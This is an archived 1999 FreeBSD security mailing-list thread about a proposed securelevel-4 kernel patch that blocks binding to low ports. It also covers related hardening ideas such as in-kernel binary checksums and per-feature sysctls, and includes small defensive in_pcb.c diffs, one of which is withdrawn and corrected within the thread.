From owner-freebsd-security Sun Jun 20 0:12:35 1999 Delivered-To: freebsd-security@freebsd.org Received: from zip.com.au (zipper.zip.com.au [203.12.97.1]) by hub.freebsd.org (Postfix) with ESMTP id 228AA14E31 for ; Sun, 20 Jun 1999 00:12:29 -0700 (PDT) (envelope-from ncb@zip.com.au) Received: from localhost (ncb@localhost) by zip.com.au (8.9.1/8.9.1) with ESMTP id RAA17608; Sun, 20 Jun 1999 17:13:29 +1000 Date: Sun, 20 Jun 1999 17:13:27 +1000 (EST) From: Nicholas Brawn To: "Brian W. Buchanan" Cc: Darren Reed , freebsd-security@FreeBSD.ORG Subject: Re: proposed secure-level 4 patch In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sat, 19 Jun 1999, Brian W. Buchanan wrote: > Anyway, this all boils down to a matter of choice. If you value being > able to restart daemons without rebooting, then don't use this level of > protection. Here's an idea i'll toss into the ring. What about runtime integrity checks. If there were some way of guaranteeing that a program being executed has the correct checksum prior to processing execve()? I'm not advocating this line of approach, but it may be one option to consider. Nick To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jun 20 0:17:59 1999 Delivered-To: freebsd-security@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131]) by hub.freebsd.org (Postfix) with ESMTP id 7C1B114A12 for ; Sun, 20 Jun 1999 00:17:48 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.2) with ESMTP id JAA12391; Sun, 20 Jun 1999 09:16:47 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: Nicholas Brawn Cc: "Brian W. Buchanan" , Darren Reed , freebsd-security@FreeBSD.ORG Subject: Re: proposed secure-level 4 patch In-reply-to: Your message of "Sun, 20 Jun 1999 17:13:27 +1000." Date: Sun, 20 Jun 1999 09:16:46 +0200 Message-ID: <12389.929863006@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message , Nichol as Brawn writes: >On Sat, 19 Jun 1999, Brian W. Buchanan wrote: > >> Anyway, this all boils down to a matter of choice. If you value being >> able to restart daemons without rebooting, then don't use this level of >> protection. > >Here's an idea i'll toss into the ring. What about runtime integrity >checks. If there were some way of guaranteeing that a program being >executed has the correct checksum prior to processing execve()? > >I'm not advocating this line of approach, but it may be one option to >consider. I actually thought of that at one point: You load a bunch of approved md5 sums into the kernel, set a flag and then only binaries which are on the list can be executed. Trouble is that shared libs needs to be checked too and they're handled in userland. Of cource static binaries could be made mandatory. -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." FreeBSD -- It will take a long time before progress goes too far! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jun 20 0:40:32 1999 Delivered-To: freebsd-security@freebsd.org Received: from cheops.anu.edu.au (cheops.anu.edu.au [150.203.76.24]) by hub.freebsd.org (Postfix) with ESMTP id B02B214E7B for ; Sun, 20 Jun 1999 00:40:28 -0700 (PDT) (envelope-from avalon@cheops.anu.edu.au) Received: (from avalon@localhost) by cheops.anu.edu.au (8.9.1/8.9.1) id RAA06817; Sun, 20 Jun 1999 17:35:34 +1000 (EST) From: Darren Reed Message-Id: <199906200735.RAA06817@cheops.anu.edu.au> Subject: Re: proposed secure-level 4 patch To: phk@critter.freebsd.dk (Poul-Henning Kamp) Date: Sun, 20 Jun 1999 17:35:33 +1000 (EST) Cc: ncb@zip.com.au, brian@CSUA.Berkeley.EDU, avalon@coombs.anu.edu.au, freebsd-security@FreeBSD.ORG In-Reply-To: <12389.929863006@critter.freebsd.dk> from "Poul-Henning Kamp" at Jun 20, 99 09:16:46 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In some mail from Poul-Henning Kamp, sie said: > > In message , Nichol > as Brawn writes: > >On Sat, 19 Jun 1999, Brian W. Buchanan wrote: > > > >> Anyway, this all boils down to a matter of choice. If you value being > >> able to restart daemons without rebooting, then don't use this level of > >> protection. > > > >Here's an idea i'll toss into the ring. What about runtime integrity > >checks. If there were some way of guaranteeing that a program being > >executed has the correct checksum prior to processing execve()? > > > >I'm not advocating this line of approach, but it may be one option to > >consider. > > I actually thought of that at one point: You load a bunch of approved > md5 sums into the kernel, set a flag and then only binaries which > are on the list can be executed. Trouble is that shared libs needs > to be checked too and they're handled in userland. Of cource static > binaries could be made mandatory. Sounds just like what's under development for NetBSD right now. Maybe you should wait until it's complete there and then import it ? Darren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jun 20 0:49:56 1999 Delivered-To: freebsd-security@freebsd.org Received: from beach.silcom.com (beach.silcom.com [199.201.128.19]) by hub.freebsd.org (Postfix) with ESMTP id 8676114A12 for ; Sun, 20 Jun 1999 00:49:55 -0700 (PDT) (envelope-from brian@CSUA.Berkeley.EDU) Received: from smarter.than.nu (pm0-31.vpop1.avtel.net [207.71.237.31]) by beach.silcom.com (Postfix) with ESMTP id 96A6F660; Sun, 20 Jun 1999 00:49:48 -0700 (PDT) Date: Sun, 20 Jun 1999 00:49:48 -0700 (PDT) From: "Brian W. Buchanan" X-Sender: brian@smarter.than.nu To: Nicholas Brawn Cc: freebsd-security@FreeBSD.ORG Subject: Re: proposed secure-level 4 patch In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, 20 Jun 1999, Nicholas Brawn wrote: > On Sat, 19 Jun 1999, Brian W. Buchanan wrote: > > > Anyway, this all boils down to a matter of choice. If you value being > > able to restart daemons without rebooting, then don't use this level of > > protection. > > Here's an idea i'll toss into the ring. What about runtime integrity > checks. If there were some way of guaranteeing that a program being > executed has the correct checksum prior to processing execve()? > > I'm not advocating this line of approach, but it may be one option to > consider. Using MD5 checksums in-kernel would certainly be an effective countermeasure against the mount_union ruse I described last night, as well as against starting new daemons on privileged ports. I don't think it would be very useful for most installations, but this could be a very good thing for systems with a fixed set of binaries and that the sysadmin doesn't mind downing to do even very minor software upgrades. The more I think about securelevels and related topics, the more I think we should be putting our efforts into making sure that attackers don't break rootin the first place, rather than into clever attempts to limit damage once a compromise has occured. The whole "root is god" design principle is at odds with these efforts, and I'm resonably confident that there are still undiscovered holes of varying size in the implementation. In dealing with and planning for the event of incidents, the attitude that must be taken is that no matter what the configuration, once root has been compromised, all bets are off. -- Brian Buchanan brian@CSUA.Berkeley.EDU -------------------------------------------------------------------------- FreeBSD - The Power to Serve! http://www.freebsd.org daemon(n): 1. an attendant power or spirit : GENIUS 2. the cute little mascot of the FreeBSD operating system To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jun 20 1: 3:12 1999 Delivered-To: freebsd-security@freebsd.org Received: from lazlo.internal.steam.com (lazlo.steam.com [199.108.84.37]) by hub.freebsd.org (Postfix) with ESMTP id 6EEAB14D79 for ; Sun, 20 Jun 1999 01:03:04 -0700 (PDT) (envelope-from cliff@steam.com) Received: from lazlo.internal.steam.com (cliff@lazlo.internal.steam.com [192.168.32.2]) by lazlo.internal.steam.com (8.9.3/8.9.3) with ESMTP id BAA97760; Sun, 20 Jun 1999 01:03:16 -0700 (PDT) Date: Sun, 20 Jun 1999 01:03:16 -0700 (PDT) From: Cliff Skolnick X-Sender: cliff@lazlo.internal.steam.com To: "Brian W. Buchanan" Cc: Darren Reed , freebsd-security@FreeBSD.ORG Subject: Re: proposed secure-level 4 patch In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sat, 19 Jun 1999, Brian W. Buchanan wrote: > In the proposed case, people who are paranoid about having a root > compromise lead to someone binding a modified version of sshd or other > login daemon to steal passwords can bring the system to securelevel 4 > after daemon startup and ensure that the attacker cannot simply kill sshd > and replace it. Well-written daemons should *not* die unless killed, and > if you're running with a positive securelevel, you've already given up the > luxury of live upgrades. To minimize downtime due to dead daemons, just > spawn everything from inetd and make darn sure that inetd won't die unless > root decides it should. And be sure to understand what code they will load, like a shared library or an external excutable as innocent as "ls". Most paranoid people I know don't run inetd anyways, they like their daemons in stand alone mode. Yes, this stuff is nasty. It also has limited use in non-general purpose systems like firewalls. Cliff -- Cliff Skolnick | "They that can give up essential liberty to obtain Steam Tunnel Operations | a little temporary safety deserve neither liberty cliff@steam.com | nor safety." http://www.steam.com/ | -- Benjamin Franklin, 1759 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jun 20 1: 3:46 1999 Delivered-To: freebsd-security@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131]) by hub.freebsd.org (Postfix) with ESMTP id 955EE15237 for ; Sun, 20 Jun 1999 01:03:40 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.2) with ESMTP id KAA12514; Sun, 20 Jun 1999 10:02:46 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: Darren Reed Cc: ncb@zip.com.au, brian@CSUA.Berkeley.EDU, freebsd-security@FreeBSD.ORG Subject: Re: proposed secure-level 4 patch In-reply-to: Your message of "Sun, 20 Jun 1999 17:35:33 +1000." <199906200735.RAA06817@cheops.anu.edu.au> Date: Sun, 20 Jun 1999 10:02:46 +0200 Message-ID: <12512.929865766@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <199906200735.RAA06817@cheops.anu.edu.au>, Darren Reed writes: >> I actually thought of that at one point: You load a bunch of approved >> md5 sums into the kernel, set a flag and then only binaries which >> are on the list can be executed. Trouble is that shared libs needs >> to be checked too and they're handled in userland. Of cource static >> binaries could be made mandatory. > >Sounds just like what's under development for NetBSD right now. Maybe >you should wait until it's complete there and then import it ? It's below rank #50 on my TODO list, so unless they're very incompetent there is no doubt they'll get to it before me :-) -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." FreeBSD -- It will take a long time before progress goes too far! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jun 20 2:55: 5 1999 Delivered-To: freebsd-security@freebsd.org Received: from shell2.ba.best.com (shell2.ba.best.com [206.184.139.133]) by hub.freebsd.org (Postfix) with ESMTP id 42EC514BD3 for ; Sun, 20 Jun 1999 02:54:47 -0700 (PDT) (envelope-from asaddi@philosophysw.com) Received: from localhost (asaddi@localhost) by shell2.ba.best.com (8.9.3/8.9.2/best.sh) with ESMTP id CAA09902; Sun, 20 Jun 1999 02:54:40 -0700 (PDT) X-Authentication-Warning: shell2.ba.best.com: asaddi owned process doing -bs Date: Sun, 20 Jun 1999 02:54:40 -0700 (PDT) From: Allan Saddi X-Sender: asaddi@shell2.ba.best.com To: Frank Tobin , kris@further.com Cc: FreeBSD-security Mailing List Subject: Re: proposed secure-level 4 patch (fwd) In-Reply-To: Message-ID: Organization: Philosophy SoftWorks MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > here is the no-union-mount-in-secure-mode diff and the tcp diff, which > should both be against -current. There are still problems with this no-bind-securelevel patch: 1. It only handles bind requests for tcp. The same modification must be done to udp_bind() in udp_usrreq.c *OR* you can perform the check in in_pcbbind() in in_pcb.c. See my previous posting for my patch. (Which I tested under -stable. Forward-porting to -current should be trivial.) 2. sinp->sin_port is in network byte order. ntohs() should be used on it before comparison. Since network order is big-endian, it surprises me that this patch works. ;) 3. As Brian Buchanan pointed out, port 1024 itself is not privileged. -- Allan Saddi "The Earth is the cradle of mankind, asaddi@philosophysw.com but we cannot live in the cradle http://www.philosophysw.com/asaddi/ forever." - K.E. Tsiolkovsky To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jun 20 8:45:51 1999 Delivered-To: freebsd-security@freebsd.org Received: from relay.acadiau.ca (relay.acadiau.ca [131.162.2.90]) by hub.freebsd.org (Postfix) with ESMTP id 536BE14E03 for ; Sun, 20 Jun 1999 08:45:48 -0700 (PDT) (envelope-from 026809r@dragon.acadiau.ca) Received: from dragon.acadiau.ca (dragon.acadiau.ca [131.162.1.79]) by relay.acadiau.ca (8.8.5/8.8.5) with ESMTP id MAA01476 for ; Sun, 20 Jun 1999 12:45:42 -0300 (ADT) Received: from localhost (026809r@localhost) by dragon.acadiau.ca (8.8.8+Sun/8.8.8) with ESMTP id MAA13653 for ; Sun, 20 Jun 1999 12:45:40 -0300 (ADT) Date: Sun, 20 Jun 1999 12:45:40 -0300 (ADT) From: Michael Richards <026809r@dragon.acadiau.ca> X-Sender: 026809r@dragon To: freebsd-security@FreeBSD.ORG Subject: Allowing non root users to bind low ports Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi... I was giving this concept a little thought. If I'm not root and I can bind a low port, let's say the telnet port. I could write myself a fake telnet daemon and run it. Sooner or later, someone is going to try using it... This whole thing about non-root users binding to low ports would only be useful if there are no shell accounts on a machine IMO. -Michael To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jun 20 9: 4: 2 1999 Delivered-To: freebsd-security@freebsd.org Received: from ns1.yes.no (ns1.yes.no [195.204.136.10]) by hub.freebsd.org (Postfix) with ESMTP id 494B414C8B for ; Sun, 20 Jun 1999 09:03:57 -0700 (PDT) (envelope-from eivind@bitbox.follo.net) Received: from bitbox.follo.net (bitbox.follo.net [195.204.143.218]) by ns1.yes.no (8.9.1a/8.9.1) with ESMTP id SAA15236; Sun, 20 Jun 1999 18:03:57 +0200 (CEST) Received: (from eivind@localhost) by bitbox.follo.net (8.8.8/8.8.6) id SAA77396; Sun, 20 Jun 1999 18:03:56 +0200 (MET DST) Date: Sun, 20 Jun 1999 18:03:56 +0200 From: Eivind Eklund To: Frank Tobin Cc: FreeBSD-security Mailing List Subject: Re: proposed secure-level 4 patch Message-ID: <19990620180356.J63035@bitbox.follo.net> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.1i In-Reply-To: ; from Frank Tobin on Sat, Jun 19, 1999 at 12:56:19AM -0500 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sat, Jun 19, 1999 at 12:56:19AM -0500, Frank Tobin wrote: > Okay, a good friend of mine Kris Wehner has written a patch to implement > the proposed securelevel of 4, which would disallow the opening of > secure ports (<1024) while in the securelevel of 4. The patch is against > 3.2-STABLE kernel, as of within 12 hours. I'd like to hear more comments > before I send it as a send-pr. The patch is attached. I think using securelevel 4 for this is a bad idea. I believe the right thing to do with securelevels is to start splitting them into a set of different sysctls, where each individual feature can be turned off. It is convenient to have a set of sysctls you can use to "turn off everything" (like securelevel does today). However, to apply a "full securelevel" to a box is difficult; the ability to throw away single capabilities could be very useful. Eivind. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jun 20 10:43:12 1999 Delivered-To: freebsd-security@freebsd.org Received: from funbox.demon.co.uk (funbox.demon.co.uk [158.152.85.52]) by hub.freebsd.org (Postfix) with SMTP id 036DA14F05 for ; Sun, 20 Jun 1999 10:43:03 -0700 (PDT) (envelope-from dev.null@funbox.demon.co.uk) Received: from funbox.demon.co.uk, ID 376D27ED-0180, Sun, 20 Jun 1999 17:42:05 UTC To: freebsd-security@freebsd.org From: dev.null@funbox.demon.co.uk X-Date: Sun, 20 Jun 1999 18:42:04 +0100 Subject: Re: proposed secure-level 4 patch Message-ID: <376D27ED.0180@funbox.demon.co.uk> Date: Sun, 20 Jun 1999 18:42:05 +0100 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Eivind wrote: > I think using securelevel 4 for this is a bad idea. I believe the > right thing to do with securelevels is to start splitting them into a > set of different sysctls, where each individual feature can be turned > off. It is convenient to have a set of sysctls you can use to "turn > off everything" (like securelevel does today). Agreed! Another way of doing that might be to use a bit vector to specify the securelevel. It would be closer in syntax to the current method, and would give the desired flexibility and control over the individual capabilitiies. Thoughts about a bit vector, anyone? Tim -- Tim Jackson (PGP key available) ________________________________________________________________________ please reply to: t i m . j @ f u n b o x . d e m o n . c o . u k To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jun 20 10:47: 0 1999 Delivered-To: freebsd-security@freebsd.org Received: from fantasy.netreach.net (fantasy.netreach.net [205.197.101.219]) by hub.freebsd.org (Postfix) with ESMTP id 1025814D5F for ; Sun, 20 Jun 1999 10:46:45 -0700 (PDT) (envelope-from petef@netreach.net) Received: from borneo (borneo.netreach.net [205.197.101.111]) by fantasy.netreach.net (8.9.3/8.9.0) with SMTP id NAA10311; Sun, 20 Jun 1999 13:43:52 -0400 (EDT) Date: Sun, 20 Jun 1999 13:45:17 -0400 (EDT) From: Pete Fritchman X-Sender: petef@borneo To: Michael Richards <026809r@dragon.acadiau.ca> Cc: freebsd-security@FreeBSD.ORG Subject: Re: Allowing non root users to bind low ports In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org For what purpose would you want the non-root system users to be able to bind to low ports? --------------------------------------------- Pete Fritchman petef@netreach.net Netreach www.netreach.net System Administrator On Sun, 20 Jun 1999, Michael Richards wrote: > Hi... > > I was giving this concept a little thought. If I'm not root and I can bind > a low port, let's say the telnet port. I could write myself a fake telnet > daemon and run it. Sooner or later, someone is going to try using it... > This whole thing about non-root users binding to low ports would only be > useful if there are no shell accounts on a machine IMO. > > -Michael > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jun 20 13:19:42 1999 Delivered-To: freebsd-security@freebsd.org Received: from beach.silcom.com (beach.silcom.com [199.201.128.19]) by hub.freebsd.org (Postfix) with ESMTP id 0FF8115049; Sun, 20 Jun 1999 13:19:35 -0700 (PDT) (envelope-from brian@CSUA.Berkeley.EDU) Received: from smarter.than.nu (pm0-17.vpop1.avtel.net [207.71.237.17]) by beach.silcom.com (Postfix) with ESMTP id E4E3D5D5; Sun, 20 Jun 1999 13:19:31 -0700 (PDT) Date: Sun, 20 Jun 1999 13:19:31 -0700 (PDT) From: "Brian W. Buchanan" X-Sender: brian@smarter.than.nu To: Eivind Eklund Cc: FreeBSD-security Mailing List Subject: Re: proposed secure-level 4 patch In-Reply-To: <19990620180356.J63035@bitbox.follo.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, 20 Jun 1999, Eivind Eklund wrote: > On Sat, Jun 19, 1999 at 12:56:19AM -0500, Frank Tobin wrote: > > Okay, a good friend of mine Kris Wehner has written a patch to implement > > the proposed securelevel of 4, which would disallow the opening of > > secure ports (<1024) while in the securelevel of 4. The patch is against > > 3.2-STABLE kernel, as of within 12 hours. I'd like to hear more comments > > before I send it as a send-pr. The patch is attached. > > I think using securelevel 4 for this is a bad idea. I believe the > right thing to do with securelevels is to start splitting them into a > set of different sysctls, where each individual feature can be turned > off. It is convenient to have a set of sysctls you can use to "turn > off everything" (like securelevel does today). > > However, to apply a "full securelevel" to a box is difficult; the > ability to throw away single capabilities could be very useful. I considered suggesting this last night, then realized that applying only the effect added by securelevel 3 or the proposed level 4 would be ineffective, as it's easily circumvented through loading a custom kernel module, writing to /dev/kmem, etc. Blocking the binding of low ports would be ineffective without restrictions on changing IPFW rules, as IIRC IPFW rules can be used to redirect packets from one port to another. For what we have now and for the proposed securelevel 4, I'd say that the current system makes sense. If we did start to add security features that are orthogonal to the present ones, however, I'd agree that they should be separate sysctl knobs. Securelevel 2 would still be pretty much mandatory for enforcing any other restrictions on root, though. -- Brian Buchanan brian@CSUA.Berkeley.EDU -------------------------------------------------------------------------- FreeBSD - The Power to Serve! http://www.freebsd.org daemon(n): 1. an attendant power or spirit : GENIUS 2. the cute little mascot of the FreeBSD operating system To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jun 20 13:38:44 1999 Delivered-To: freebsd-security@freebsd.org Received: from ns1.yes.no (ns1.yes.no [195.204.136.10]) by hub.freebsd.org (Postfix) with ESMTP id 23BB414D80 for ; Sun, 20 Jun 1999 13:38:08 -0700 (PDT) (envelope-from eivind@bitbox.follo.net) Received: from bitbox.follo.net (bitbox.follo.net [195.204.143.218]) by ns1.yes.no (8.9.1a/8.9.1) with ESMTP id WAA17774; Sun, 20 Jun 1999 22:37:58 +0200 (CEST) Received: (from eivind@localhost) by bitbox.follo.net (8.8.8/8.8.6) id WAA78140; Sun, 20 Jun 1999 22:37:57 +0200 (MET DST) Date: Sun, 20 Jun 1999 22:37:57 +0200 From: Eivind Eklund To: "Brian W. Buchanan" Cc: FreeBSD-security Mailing List Subject: Re: proposed secure-level 4 patch Message-ID: <19990620223757.K63035@bitbox.follo.net> References: <19990620180356.J63035@bitbox.follo.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.1i In-Reply-To: ; from Brian W. Buchanan on Sun, Jun 20, 1999 at 01:19:31PM -0700 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, Jun 20, 1999 at 01:19:31PM -0700, Brian W. Buchanan wrote: > On Sun, 20 Jun 1999, Eivind Eklund wrote: > > I think using securelevel 4 for this is a bad idea. I believe the > > right thing to do with securelevels is to start splitting them into a > > set of different sysctls, where each individual feature can be turned > > off. It is convenient to have a set of sysctls you can use to "turn > > off everything" (like securelevel does today). > > > > However, to apply a "full securelevel" to a box is difficult; the > > ability to throw away single capabilities could be very useful. > > I considered suggesting this last night, then realized that applying only > the effect added by securelevel 3 or the proposed level 4 would be > ineffective, as it's easily circumvented through loading a custom kernel > module, writing to /dev/kmem, etc. Blocking the binding of low ports > would be ineffective without restrictions on changing IPFW rules, as IIRC > IPFW rules can be used to redirect packets from one port to another. You may be thinking of the 'divert' option to IPFW. This can be used with a TCP/IP stack in userland, if you also send out raw packets. The same can be done with BPF, so if you want to block this capability, you also need to block BPF use. > For what we have now and for the proposed securelevel 4, I'd say that the > current system makes sense. If we did start to add security features that > are orthogonal to the present ones, however, I'd agree that they should > be separate sysctl knobs. Securelevel 2 would still be pretty much > mandatory for enforcing any other restrictions on root, though. Securelevel 3 and (proposed) 4 are pretty much orthogonal on securelevel 2, at least. They only need restrictions on kmem and LKMs to be effective. As it is, the attempts at changing the meaning of securelevel (which was, in my reading, intended to allow a compromised system to come up without further exploits being possible due to a rebooot) means that a bunch of orthogonal stuff is being put into higher securelevels. This introduce extra compatibility cruft we'll have to handle when we switch to a sensible scheme. I won't go so far as to say that the introduction of securelevel 4 is a regression (it is nice functionality when you want to truly secure a box), but it would be much better if it came after having made "securelevel" a set of orthogonal switches. Eivind. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jun 20 19: 1:57 1999 Delivered-To: freebsd-security@freebsd.org Received: from srh0710.urh.uiuc.edu (unknown [130.126.76.32]) by hub.freebsd.org (Postfix) with SMTP id 7D06B14E97 for ; Sun, 20 Jun 1999 19:01:53 -0700 (PDT) (envelope-from ftobin@bigfoot.com) Received: (qmail 19641 invoked by uid 1000); 21 Jun 1999 02:01:52 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 21 Jun 1999 02:01:52 -0000 Date: Sun, 20 Jun 1999 21:01:52 -0500 (CDT) From: Frank Tobin X-Sender: ftobin@srh0710.urh.uiuc.edu To: FreeBSD-security Mailing List Subject: in_pcb (fwd) Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/Mixed; BOUNDARY=HlL+5n6rz5pIUxbD Content-ID: Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --HlL+5n6rz5pIUxbD Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-ID: ---------- Forwarded message ---------- Date: Sun, 20 Jun 1999 13:20:47 -0500 From: Kris Wehner To: ftobin@uiuc.edu Subject: in_pcb hey here's the securelevel tcp diff moved down to the in_pcb code against -current. it works spiffy, and the ntohs() problem (duh!) has been fixed, so it works reliably for both udp + tcp. sorry about the goofs before. k -- kristopher wehner Sit back and watch my divine spark flash -- Chris Robinson --HlL+5n6rz5pIUxbD Content-Type: TEXT/PLAIN; CHARSET=us-ascii Content-ID: Content-Description: Content-Disposition: ATTACHMENT; FILENAME="in_pcb.diff" *** in_pcb.c-orig Sun Jun 20 13:17:55 1999 --- in_pcb.c Sun Jun 20 13:19:16 1999 *************** *** 175,180 **** --- 175,186 ---- if (sin->sin_family != AF_INET) return (EAFNOSUPPORT); #endif + /* + * Disallow bind if we are in super secure mode and port < 1024 + */ + if (sin->sin_family == AF_INET && sin->sin_port < ntohs(1024) + && securelevel >= 4) + return EPERM; if (prison_ip(p, 0, &sin->sin_addr.s_addr)) return(EINVAL); lport = sin->sin_port; --HlL+5n6rz5pIUxbD-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jun 20 19: 5:24 1999 Delivered-To: freebsd-security@freebsd.org Received: from srh0710.urh.uiuc.edu (unknown [130.126.76.32]) by hub.freebsd.org (Postfix) with SMTP id 390C515300 for ; Sun, 20 Jun 1999 19:05:22 -0700 (PDT) (envelope-from ftobin@bigfoot.com) Received: (qmail 19656 invoked by uid 1000); 21 Jun 1999 02:05:21 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 21 Jun 1999 02:05:21 -0000 Date: Sun, 20 Jun 1999 21:05:21 -0500 (CDT) From: Frank Tobin X-Sender: ftobin@srh0710.urh.uiuc.edu To: FreeBSD-security Mailing List Subject: disregard in_pcb (forward) Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="0-1975200614-929930648=:19623" Content-ID: Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --0-1975200614-929930648=:19623 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-ID: This is a corrected version of that patch. Disregard the previous sending. Much apologies. That will teach me to reference my mail by date. -- Frank Tobin "To learn what is good and what is to be http://www.bigfoot.com/~ftobin valued, those truths which cannot be shaken or changed." Myst: The Book of Atrus FreeBSD: The Power To Serve PGPenvelope = GPG and PGP5 + Pine PGP: 4F86 3BBB A816 6F0A 340F http://www.bigfoot.com/~ftobin/resources.html 6003 56FF D10A 260C 4FA3 --0-1975200614-929930648=:19623 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME="in_pcb.diff" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: ATTACHMENT; FILENAME="in_pcb.diff" KioqIGluX3BjYi5jLW9yaWcJU3VuIEp1biAyMCAxMzoxNzo1NSAxOTk5DQot LS0gaW5fcGNiLmMJU3VuIEp1biAyMCAxMzoxOToxNiAxOTk5DQoqKioqKioq KioqKioqKioNCioqKiAxNzUsMTgwICoqKioNCi0tLSAxNzUsMTg2IC0tLS0N CiAgCQlpZiAoc2luLT5zaW5fZmFtaWx5ICE9IEFGX0lORVQpDQogIAkJCXJl dHVybiAoRUFGTk9TVVBQT1JUKTsNCiAgI2VuZGlmDQorIAkJLyogDQorIAkJ ICogRGlzYWxsb3cgYmluZCBpZiB3ZSBhcmUgaW4gc3VwZXIgc2VjdXJlIG1v ZGUgYW5kIHBvcnQgPCAxMDI0DQorIAkJICovDQorIAkJaWYgKHNpbi0+c2lu X2ZhbWlseSA9PSBBRl9JTkVUICYmIG50b2hzKHNpbi0+c2luX3BvcnQpIDwg MTAyNCANCisgCQkgICAgJiYgc2VjdXJlbGV2ZWwgPj0gNCkgDQorIAkJICBy ZXR1cm4gRVBFUk07DQogIAkJaWYgKHByaXNvbl9pcChwLCAwLCAmc2luLT5z aW5fYWRkci5zX2FkZHIpKQ0KICAJCQlyZXR1cm4oRUlOVkFMKTsNCiAgCQls cG9ydCA9IHNpbi0+c2luX3BvcnQ7DQo= --0-1975200614-929930648=:19623-- To 